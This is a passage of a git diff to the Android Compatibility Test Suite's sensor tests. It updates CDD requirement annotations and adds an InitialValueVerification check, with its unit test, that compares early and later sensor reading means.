import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="7.3/C-0-2,C-0-1")
public class SensorTest extends SensorTestCase {
private static final String TAG = "SensorTest";
@@ -118,7 +117,7 @@
}
}
- @CddTest(requirement="7.3/C-0-1")
+ @CddTest(requirement="7.3/C-0-1,7.3.1/C-1-2,7.3.2/C-1-1")
@SuppressWarnings("deprecation")
public void testSensorOperations() {
// Because we can't know every sensors unit details, so we can't assert
@@ -193,7 +192,6 @@
}
}
- @CddTest(requirement="7.3/C-0-2")
public void testValuesForAllSensors() {
for (Sensor sensor : mSensorList) {
assertSensorValues(sensor);
@@ -212,7 +210,6 @@
// Some sensors like proximity, significant motion etc. are defined as wake-up sensors by
// default. Check if the wake-up flag is set correctly.
- @CddTest(requirement="7.3/C-0-2")
@Presubmit
public void testWakeUpFlags() {
final int TYPE_WAKE_GESTURE = 23;
@@ -266,6 +263,7 @@
}
}
+ @CddTest(requirement="7.3/C-0-3")
public void testRequestTriggerWithNonTriggerSensor() {
mTriggerSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
if (mTriggerSensor == null) {
@@ -276,6 +274,7 @@
assertFalse(result);
}
+ @CddTest(requirement="7.3/C-0-3")
public void testCancelTriggerWithNonTriggerSensor() {
mTriggerSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
if (mTriggerSensor == null) {
@@ -286,6 +285,7 @@
assertFalse(result);
}
+ @CddTest(requirement="7.3/C-0-3")
public void testRegisterWithTriggerSensor() {
Sensor sensor = mSensorManager.getDefaultSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
if (sensor == null) {
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
index cd28a83..17f73c6 100644
--- a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -17,14 +17,16 @@
package android.hardware.cts;
import android.content.Context;
-import android.content.pm.PackageManager;
import android.hardware.Sensor;
import android.hardware.SensorManager;
import android.hardware.cts.helpers.SensorCtsHelper;
import android.hardware.cts.helpers.SensorStats;
import android.hardware.cts.helpers.TestSensorEnvironment;
import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.content.pm.PackageManager;
+
import com.android.compatibility.common.util.CddTest;
+
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
@@ -85,7 +87,6 @@
* running, or if the sensor's sampled data indeed falls into a large standard deviation.
* </p>
*/
-@CddTest(requirement="7.3.1/H-1-1,C-1-1,C-1-6,C-3-1,C-4-1,7.3.2/H-1-1,C-1-2,C-1-4,C-1-9,C-2-1,7.3.4/H-1-1,T-1-1,A-1-1,C-1-1,C-1-2,C-1-3,C-1-7,C-2-1,C-3-1,7.3.5/C-1-1,C-1-2,7.3/C-1-7,7.3/C-1-2")
public class SingleSensorTests extends SensorTestCase {
private static final String TAG = "SingleSensorTests";
@@ -151,6 +152,7 @@
runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_100HZ);
}
+ @CddTest(requirement="7.3.1/C-1-1,C-1-2,C-1-3,C-1-6,7.3/C-1-7")
public void testAccelerometer_50hz() throws Throwable {
runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ);
}
@@ -235,14 +237,17 @@
runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_15HZ);
}
+ @CddTest(requirement="7.3.2/C-1-1,C-1-2,C-1-3,C-1-9,7.3/C-1-7")
public void testMagneticField_10hz() throws Throwable {
runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_10HZ);
}
+ @CddTest(requirement="7.3.2/C-1-1,C-1-3,7.3/C-1-2")
public void testMagneticField_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_5HZ);
}
+ @CddTest(requirement="7.3.2/C-1-1,C-1-3,7.3/C-1-2,7.3/C-1-7")
public void testMagneticField_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_1HZ);
}
@@ -303,6 +308,7 @@
runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_100HZ);
}
+ @CddTest(requirement="7.3.4/C-1-1,C-1-7,7.3/C-1-7")
public void testGyroscope_50hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ);
}
@@ -323,6 +329,7 @@
runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_5HZ);
}
+ @CddTest(requirement="7.3.4/C-1-2,C-1-7,7.3/C-1-7")
public void testGyroscope_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_1HZ);
}
@@ -355,6 +362,7 @@
runSensorTest(Sensor.TYPE_PRESSURE, RATE_10HZ);
}
+ @CddTest(requirement="7.3.5/C-1-1,C-1-2,7.3/C-1-7,C-1-2")
public void testPressure_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_PRESSURE, RATE_5HZ);
}
@@ -363,6 +371,7 @@
runSensorTest(Sensor.TYPE_PRESSURE, RATE_1HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_fastest() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST);
}
@@ -379,26 +388,32 @@
runSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_25hz() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, RATE_25HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_15hz() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, RATE_15HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_10hz() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, RATE_10HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, RATE_5HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testGravity_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_GRAVITY, RATE_1HZ);
}
+ @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
public void testRotationVector_fastest() throws Throwable {
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
}
@@ -411,6 +426,7 @@
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_100HZ);
}
+ @CddTest(requirement="7.3.1/C-4-1")
public void testRotationVector_50hz() throws Throwable {
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ);
}
@@ -423,14 +439,17 @@
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_15HZ);
}
+ @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
public void testRotationVector_10hz() throws Throwable {
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_10HZ);
}
+ @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
public void testRotationVector_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_5HZ);
}
+ @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
public void testRotationVector_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_1HZ);
}
@@ -499,14 +518,17 @@
runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_10HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGameRotationVector_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_5HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGameRotationVector_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_1HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGyroscopeUncalibrated_fastest() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
}
@@ -519,6 +541,7 @@
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_100HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGyroscopeUncalibrated_50hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ);
}
@@ -531,14 +554,17 @@
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_15HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGyroscopeUncalibrated_10hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_10HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGyroscopeUncalibrated_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_5HZ);
}
+ @CddTest(requirement="7.3/C-2-1")
public void testGyroscopeUncalibrated_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_1HZ);
}
@@ -555,26 +581,32 @@
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_100HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_50hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_25hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_25HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_15hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_15HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_10hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_10HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_5hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_5HZ);
}
+ @CddTest(requirement="7.3.1/C-3-1")
public void testLinearAcceleration_1hz() throws Throwable {
runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_1HZ);
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
index 87a9a2e..6480f55 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
@@ -23,6 +23,7 @@
import android.hardware.cts.helpers.sensorverification.EventGapVerificationTest;
import android.hardware.cts.helpers.sensorverification.EventOrderingVerificationTest;
import android.hardware.cts.helpers.sensorverification.FrequencyVerificationTest;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerificationTest;
import android.hardware.cts.helpers.sensorverification.JitterVerificationTest;
import android.hardware.cts.helpers.sensorverification.MagnitudeVerificationTest;
import android.hardware.cts.helpers.sensorverification.MeanVerificationTest;
@@ -42,12 +43,13 @@
addTestSuite(SensorStatsTest.class);
// sensorverification
+ addTestSuite(EventGapVerificationTest.class);
addTestSuite(EventOrderingVerificationTest.class);
addTestSuite(FrequencyVerificationTest.class);
+ addTestSuite(InitialValueVerificationTest.class);
addTestSuite(JitterVerificationTest.class);
addTestSuite(MagnitudeVerificationTest.class);
addTestSuite(MeanVerificationTest.class);
- addTestSuite(EventGapVerificationTest.class);
addTestSuite(StandardDeviationVerificationTest.class);
addTestSuite(TimestampClockSourceVerificationTest.class);
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index db9c5a5..bbe2006 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -228,6 +228,30 @@
}
/**
+ * Format an array of floats.
+ *
+ * @param array the array of floats
+ *
+ * @return The formatted string
+ */
+ public static String formatFloatArray(float[] array) {
+ StringBuilder sb = new StringBuilder();
+ if (array.length > 1) {
+ sb.append("(");
+ }
+ for (int i = 0; i < array.length; i++) {
+ sb.append(String.format("%.2f", array[i]));
+ if (i != array.length - 1) {
+ sb.append(", ");
+ }
+ }
+ if (array.length > 1) {
+ sb.append(")");
+ }
+ return sb.toString();
+ }
+
+ /**
* @return A {@link File} representing a root directory to store sensor tests data.
*/
public static File getSensorTestDataDirectory() throws IOException {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index bc3db99..3892366 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -64,6 +64,8 @@
public static final String STANDARD_DEVIATION_KEY = "standard_deviation";
public static final String MAGNITUDE_KEY = "magnitude";
public static final String DELAYED_BATCH_DELIVERY = "delayed_batch_delivery";
+ public static final String INITIAL_MEAN_KEY = "initial_mean";
+ public static final String LATER_MEAN_KEY = "later_mean";
private final Map<String, Object> mValues = new HashMap<>();
private final Map<String, SensorStats> mSensorStats = new HashMap<>();
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
index 30da9a0..abfa692 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
@@ -59,7 +59,7 @@
op = new FakeSensorOperation(true, 0, TimeUnit.MILLISECONDS);
try {
op.execute(mTestNode);
- fail("AssertionError expected");
+ throw new Error("AssertionError expected");
} catch (AssertionError e) {
// Expected
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
index 8201861..ad2084d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
@@ -40,6 +40,7 @@
import android.hardware.cts.helpers.sensorverification.JitterVerification;
import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
import android.hardware.cts.helpers.sensorverification.MeanVerification;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerification;
import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
import android.os.Handler;
import android.os.SystemClock;
@@ -110,6 +111,7 @@
addVerification(MeanVerification.getDefault(mEnvironment));
addVerification(StandardDeviationVerification.getDefault(mEnvironment));
addVerification(EventTimestampSynchronizationVerification.getDefault(mEnvironment));
+ addVerification(InitialValueVerification.getDefault(mEnvironment));
}
public void addVerification(ISensorVerification verification) {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
index 34be3c4..b682ac5 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
@@ -65,7 +65,7 @@
try {
verification.verify(stats);
- fail("Expect an AssertionError due to insufficient samples");
+ throw new Error("Expect an AssertionError due to insufficient samples");
} catch (AssertionError e) {
//Expected
}
@@ -81,7 +81,7 @@
try {
verification.verify(stats);
- fail("Expect an AssertionError due to wrong sensor event");
+ throw new Error("Expect an AssertionError due to wrong sensor event");
} catch (AssertionError e) {
//Expected
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
index f1dc229c8..9cb7436 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
@@ -58,7 +58,7 @@
EventOrderingVerification verification = getVerification(0, 2, 1, 3, 4);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
@@ -75,7 +75,7 @@
EventOrderingVerification verification = getVerification(4, 0, 1, 2, 3);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
index bbf022a..8780a7d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
@@ -55,7 +55,7 @@
verification = getVerification(850.0, 975.0, timestamps);
try {
verification.verify(getEnvironment(950), stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
@@ -65,7 +65,7 @@
verification = getVerification(1025.0, 1150.0, timestamps);
try {
verification.verify(getEnvironment(1050), stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
new file mode 100644
index 0000000..da6a013
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.hardware.cts.helpers.sensorverification;
+
+import android.hardware.Sensor;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.util.Pair;
+
+import junit.framework.Assert;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A {@link ISensorVerification} which verifies that there are no ramps when starting the
+ * collection. To verify this, we compute the mean value at the beginning of the collection and
+ * compare it to the mean value at the end of the collection.
+ */
+public class InitialValueVerification extends AbstractSensorVerification {
+ public static final String PASSED_KEY = "initial_value_passed";
+ // Default length of the initial window: 2 seconds in ns
+ private static final long DEFAULT_INITIAL_WINDOW_LENGTH = 2_000_000_000L;
+
+ // sensorType: max absolute delta between the two means and initial window length
+ private static final Map<Integer, Pair<Float, Long>> DEFAULTS =
+ new HashMap<Integer, Pair<Float, Long>>(12);
+
+ static {
+ // Use a method so that the @deprecation warning can be set for that method only
+ setDefaults();
+ }
+
+ // First time stamp in nano seconds
+ private long mFirstTimestamp;
+ private float[] mInitialSum = null;
+ private int mInitialCount = 0;
+ private float[] mLaterSum = null;
+ private int mLaterCount = 0;
+
+ private final float mMaxAbsoluteDelta;
+ private final long mInitialWindowLength;
+
+ /**
+ * Construct a {@link InitialValueVerification}
+ *
+ * @param maxAbsoluteDelta the acceptable max absolute delta between the two means.
+ */
+ public InitialValueVerification(float maxAbsoluteDelta, long initialWindowLength) {
+ mMaxAbsoluteDelta = maxAbsoluteDelta;
+ mInitialWindowLength = initialWindowLength;
+ }
+
+ /**
+ * Get the default {@link InitialValueVerification} for a sensor.
+ *
+ * @param environment the test environment
+ * @return the verification or null if the verification does not apply to the sensor.
+ */
+ public static InitialValueVerification getDefault(TestSensorEnvironment environment) {
+ int sensorType = environment.getSensor().getType();
+ if (!DEFAULTS.containsKey(sensorType)) {
+ return null;
+ }
+ Pair<Float, Long> maxAbsoluteDeltaAndInitialWindowLength = DEFAULTS.get(sensorType);
+ return new InitialValueVerification(maxAbsoluteDeltaAndInitialWindowLength.first,
+ maxAbsoluteDeltaAndInitialWindowLength.second);
+ }
+
+ /**
+ * Verify that the mean at the initial window and later are similar to each other. Add
+ * {@value #PASSED_KEY}, {@value SensorStats#INITIAL_MEAN_KEY},
+ * {@value SensorStats#LATER_MEAN_KEY} keys to {@link SensorStats}.
+ *
+ * @throws AssertionError if the verification failed.
+ */
+ @Override
+ public void verify(TestSensorEnvironment environment, SensorStats stats) {
+ verify(stats);
+ }
+
+ /**
+ * Visible for unit tests only.
+ */
+ void verify(SensorStats stats) {
+ if (mInitialCount == 0) {
+ Assert.fail("Didn't collect any measurements");
+ }
+ if (mLaterCount == 0) {
+ Assert.fail(String.format("Didn't collect any measurements after %dns",
+ mInitialWindowLength));
+ }
+ float[] initialMeans = new float[mInitialSum.length];
+ float[] laterMeans = new float[mInitialSum.length];
+ boolean success = true;
+ for (int i = 0; i < mInitialSum.length; i++) {
+ initialMeans[i] = mInitialSum[i] / mInitialCount;
+ laterMeans[i] = mLaterSum[i] / mLaterCount;
+ if (Math.abs(initialMeans[i] - laterMeans[i]) > mMaxAbsoluteDelta) {
+ success = false;
+ }
+ }
+ stats.addValue(SensorStats.INITIAL_MEAN_KEY, initialMeans);
+ stats.addValue(SensorStats.LATER_MEAN_KEY, laterMeans);
+ stats.addValue(PASSED_KEY, success);
+ if (!success) {
+ Assert.fail(String.format(
+ "Means too far from each other: initial means = %s,"
+ + "later means = %s, max allowed delta = %.2f",
+ SensorCtsHelper.formatFloatArray(initialMeans),
+ SensorCtsHelper.formatFloatArray(laterMeans),
+ mMaxAbsoluteDelta));
+ }
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ public InitialValueVerification clone() {
+ return new InitialValueVerification(mMaxAbsoluteDelta, mInitialWindowLength);
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ protected void addSensorEventInternal(TestSensorEvent event) {
+ if (mInitialSum == null) {
+ mFirstTimestamp = event.timestamp;
+ mInitialSum = new float[event.values.length];
+ mLaterSum = new float[event.values.length];
+ }
+ if (event.timestamp - mFirstTimestamp <= mInitialWindowLength) {
+ for (int i = 0; i < event.values.length; i++) {
+ mInitialSum[i] += event.values[i];
+ }
+ mInitialCount++;
+ } else {
+ for (int i = 0; i < event.values.length; i++) {
+ mLaterSum[i] += event.values[i];
+ }
+ mLaterCount++;
+ }
+ }
+
+ @SuppressWarnings("deprecation")
+ private static void setDefaults() {
+ DEFAULTS.put(Sensor.TYPE_ACCELEROMETER,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_ORIENTATION,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ // Very tight absolute delta for the barometer.
+ DEFAULTS.put(Sensor.TYPE_PRESSURE,
+ new Pair<Float, Long>(3f, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GRAVITY,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ DEFAULTS.put(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR,
+ new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+ }
+}
+
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
new file mode 100644
index 0000000..5e28d26
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.TestCase;
+
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Tests for {@link InitialValueVerification}.
+ */
+public class InitialValueVerificationTest extends TestCase {
+ private static final long INITIAL_WINDOW_LENGTH = 2_000_000_000L; // 2s
+ private static final long TOTAL_WINDOW_LENGTH = 5_000_000_000L; // 5s
+ private static final long SENSOR_PERIOD = 500_000_000L; // 0.5s
+ private static final float MAX_ABSOLUTE_DELTA = 3f;
+ private static final Random random = new Random(123L);
+ private static final float NOISE_STD = 0.01f;
+
+ /**
+ * Test {@link InitialValueVerification#verify(SensorStats)}.
+ */
+ public void testVerify() {
+ float[] initialValues = new float[] {80.4f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, initialValues, true);
+
+ // Only modify the first element in the array but close enough
+ float[] laterValues = new float[] {78.1f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the first element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {70.1f, 12.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+ // Only modify the second element in the array but close enough
+ laterValues = new float[] {80.4f, 11.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the second element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {80.4f, 7.3f, -67f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+ // Only modify the third element in the array but close enough
+ laterValues = new float[] {80.4f, 12.3f, -65f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, true);
+ // Only modify the third element in the array but by more than the MAX_ABSOLUTE_DELTA
+ laterValues = new float[] {80.4f, 12.3f, 45f};
+ verifyStatsWithTwoWindows(initialValues, laterValues, false);
+ }
+
+ private static InitialValueVerification getVerification(Collection<TestSensorEvent> events,
+ float maxAbsoluteDelta, long initialWindowLength) {
+ InitialValueVerification verification =
+ new InitialValueVerification(maxAbsoluteDelta, initialWindowLength);
+ verification.addSensorEvents(events);
+ return verification;
+ }
+
+ private static void verifyStatsWithTwoWindows(float[] initialValues, float[] laterValues,
+ boolean pass) {
+ List<TestSensorEvent> events = new ArrayList<>();
+ // Initial window
+ for (long timestamp = 0L; timestamp <= INITIAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+ float[] initialValuesWithNoise = addNoise(initialValues);
+ events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+ initialValuesWithNoise));
+ }
+ // Later window
+ for (long timestamp = INITIAL_WINDOW_LENGTH
+ + SENSOR_PERIOD; timestamp <= TOTAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+ float[] laterValuesWithNoise = addNoise(laterValues);
+ events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+ laterValuesWithNoise));
+ }
+ SensorStats stats = new SensorStats();
+ InitialValueVerification verification =
+ getVerification(events, MAX_ABSOLUTE_DELTA, INITIAL_WINDOW_LENGTH);
+
+ try {
+ verification.verify(stats);
+ assertTrue(pass);
+ } catch (AssertionError e) {
+ assertFalse(pass);
+ }
+ verifyStats(stats, pass, initialValues, laterValues);
+ }
+
+ private static float[] addNoise(float[] values) {
+ float[] valuesWithNoise = new float[values.length];
+ for(int i = 0; i < values.length; i++) {
+ valuesWithNoise[i] = values[i] + random.nextFloat() * NOISE_STD;
+ }
+ return valuesWithNoise;
+ }
+
